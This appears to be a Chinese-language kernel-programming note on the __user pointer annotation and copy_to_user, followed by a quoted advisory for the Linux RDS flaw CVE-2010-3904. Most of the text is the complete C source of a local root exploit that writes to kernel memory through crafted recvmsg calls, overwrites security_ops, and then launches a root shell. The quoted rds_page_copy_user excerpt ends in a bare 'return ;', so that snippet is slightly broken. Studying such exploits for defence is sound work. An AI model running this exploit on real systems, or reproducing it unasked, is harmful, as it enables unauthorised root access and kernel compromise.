__user表示是一个user mode的pointer，所以kernel不可能直接使用。

__user表示是一个用户空间的指针，所以kernel不可能直接使用。

#ifdef __CHECKER__
# define __user __attribute__((noderef, address_space(1)))
# define __kernel /* default address space */
#else
# define __user
# define __kernel
#endif

noderef告诉编译器，不应该解除该指针的引用，因为在当前地址空间中它是没有意义的。

这里的CHECKER表示是否使用了Sprase（就是一种静态分析工具，用来分析内核源码中的BUG）。是不是想研究一下了？呵呵。可以参见http://sparse.wiki.kernel.org/index.php/Main_Page

所以对于这种变量，在kernel中使用要用到copy_to_user和copy_from_user。

• 在Linux中的實例:(net/rds/page.c)

• int rds_page_copy_user(struct page *page, unsigned long offset,
                 void __user *ptr, unsigned long bytes,
                 int to_user)
  {
      unsigned long ret;
      void *addr;
  
      if (to_user)
          rds_stats_add(s_copy_to_user, bytes);
      else
          rds_stats_add(s_copy_from_user, bytes);
  
      addr = kmap_atomic(page, KM_USER0);
      if (to_user)
          ret = __copy_to_user_inatomic(ptr, addr + offset, bytes);
      else
          ret = __copy_from_user_inatomic(addr + offset, ptr, bytes);
      kunmap_atomic(addr, KM_USER0);
  
      if (ret) {
          addr = kmap(page);
          if (to_user)
              ret = copy_to_user(ptr, addr + offset, bytes);
          else
              ret = copy_from_user(addr + offset, ptr, bytes);
          kunmap(page);
          if (ret)
              return -EFAULT;
      }
  
      return ;

• Vulnerability Details

  On Linux, recvmsg() style socket calls are performed using iovec structs, which allow a user to specify a base address and size for a buffer used to receive socket data. Each packet family is responsible for defining functions that copy socket data, which is received by the kernel, back to user space to allow user programs to process and handle received network data.

  When performing this copying of data to user space, the RDS protocol failed to verify that the base address of a user-provided iovec struct pointed to a valid userspace address before using the__copy_to_user_inatomic() function to copy the data. As a result, by providing a kernel address as an iovec base and issuing a recvmsg() style socket call, a local user could write arbitrary data into kernel memory. This can be leveraged to escalate privileges to root.

  Proof-of-Concept Exploit

  VSR has developed a proof-of-concept exploit [4] to both demonstrate the severity of this issue as well as allow users and administrators to verify the existence of the vulnerability. The exploit leverages the ability to write into kernel memory to reset the kernel's security operations structure and gain root privileges. The exploit requires that kernel symbol resolution is available to unprivileged users, via /proc/kallsyms or similar, as is the case on most stock distributions. It has been tested on both 32-bit and 64-bit x86 platforms. While this exploit has been reliable during testing, it is not advised to run kernel exploits on production systems, as there is a risk of causing system instability and crashing the affected machine.

Source: http://www.vsecurity.com/resources/advisory/20101019-1/

/*
 * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
 * CVE-2010-3904
 * by Dan Rosenberg <drosenberg@vsecurity.com>
 *
 * Copyright 2010 Virtual Security Research, LLC
 *
 * The handling functions for sending and receiving RDS messages
 * use unchecked __copy_*_user_inatomic functions without any
 * access checks on user-provided pointers.  As a result, by
 * passing a kernel address as an iovec base address in recvmsg-style
 * calls, a local user can overwrite arbitrary kernel memory, which
 * can easily be used to escalate privileges to root.  Alternatively,
 * an arbitrary kernel read can be performed via sendmsg calls.
 *
 * This exploit is simple - it resolves a few kernel symbols,
 * sets the security_ops to the default structure, then overwrites
 * a function pointer (ptrace_traceme) in that structure to point
 * to the payload.  After triggering the payload, the original
 * value is restored.  Hard-coding the offset of this function
 * pointer is a bit inelegant, but I wanted to keep it simple and
 * architecture-independent (i.e. no inline assembly).
 *
 * The vulnerability is yet another example of why you shouldn't
 * allow loading of random packet families unless you actually
 * need them.
 *
 * Greets to spender, kees, taviso, hawkes, team lollerskaters,
 * joberheide, bla, sts, and VSR
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>

#define RECVPORT 5555
#define SENDPORT 6666

int prep_sock(int port)
{

	int s, ret;
	struct sockaddr_in addr;

	s = socket(PF_RDS, SOCK_SEQPACKET, 0);

	if(s < 0) {
		printf("[*] Could not open socket.\n");
		exit(-1);
	}

	memset(&addr, 0, sizeof(addr));

	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);

	ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));

	if(ret < 0) {
		printf("[*] Could not bind socket.\n");
		exit(-1);
	}

	return s;

}

void get_message(unsigned long address, int sock)
{

	recvfrom(sock, (void *)address, sizeof(void *), 0,
		 NULL, NULL);

}

void send_message(unsigned long value, int sock)
{

	int size, ret;
	struct sockaddr_in recvaddr;
	struct msghdr msg;
	struct iovec iov;
	unsigned long buf;

	memset(&recvaddr, 0, sizeof(recvaddr));

	size = sizeof(recvaddr);

	recvaddr.sin_port = htons(RECVPORT);
	recvaddr.sin_family = AF_INET;
	recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	memset(&msg, 0, sizeof(msg));

	msg.msg_name = &recvaddr;
	msg.msg_namelen = sizeof(recvaddr);
	msg.msg_iovlen = 1;

	buf = value;

	iov.iov_len = sizeof(buf);
	iov.iov_base = &buf;

	msg.msg_iov = &iov;

	ret = sendmsg(sock, &msg, 0);
	if(ret < 0) {
		printf("[*] Something went wrong sending.\n");
		exit(-1);
	}
}

void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{

	if(!fork()) {
			sleep(1);
			send_message(value, sendsock);
			exit(1);
	}
	else {
		get_message(addr, recvsock);
		wait(NULL);
	}

}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{

	commit_creds(prepare_kernel_cred(0));
	return -1;	

}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

int main(int argc, char * argv[])
{
	unsigned long sec_ops, def_ops, cap_ptrace, target;
	int sendsock, recvsock;
	struct utsname ver;

	printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
	printf("[*] by Dan Rosenberg\n");

	uname(&ver);

	if(strncmp(ver.release, "2.6.3", 5)) {
		printf("[*] Your kernel is not vulnerable.\n");
		return -1;
	}	

	/* Resolve addresses of relevant symbols */
	printf("[*] Resolving kernel addresses...\n");
	sec_ops = get_kernel_sym("security_ops");
	def_ops = get_kernel_sym("default_security_ops");
	cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

	if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}

	/* Calculate target */
	target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));

	sendsock = prep_sock(SENDPORT);
	recvsock = prep_sock(RECVPORT);

	/* Reset security ops */
	printf("[*] Overwriting security ops...\n");
	write_to_mem(sec_ops, def_ops, sendsock, recvsock);

	/* Overwrite ptrace_traceme security op fptr */
	printf("[*] Overwriting function pointer...\n");
	write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);

	/* Trigger the payload */
	printf("[*] Triggering payload...\n");
	ptrace(PTRACE_TRACEME, 1, NULL, NULL);

	/* Restore the ptrace_traceme security op */
	printf("[*] Restoring function pointer...\n");
	write_to_mem(target, cap_ptrace, sendsock, recvsock);

	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}

	printf("[*] Got root!\n");
	execl("/bin/sh", "sh", NULL);

}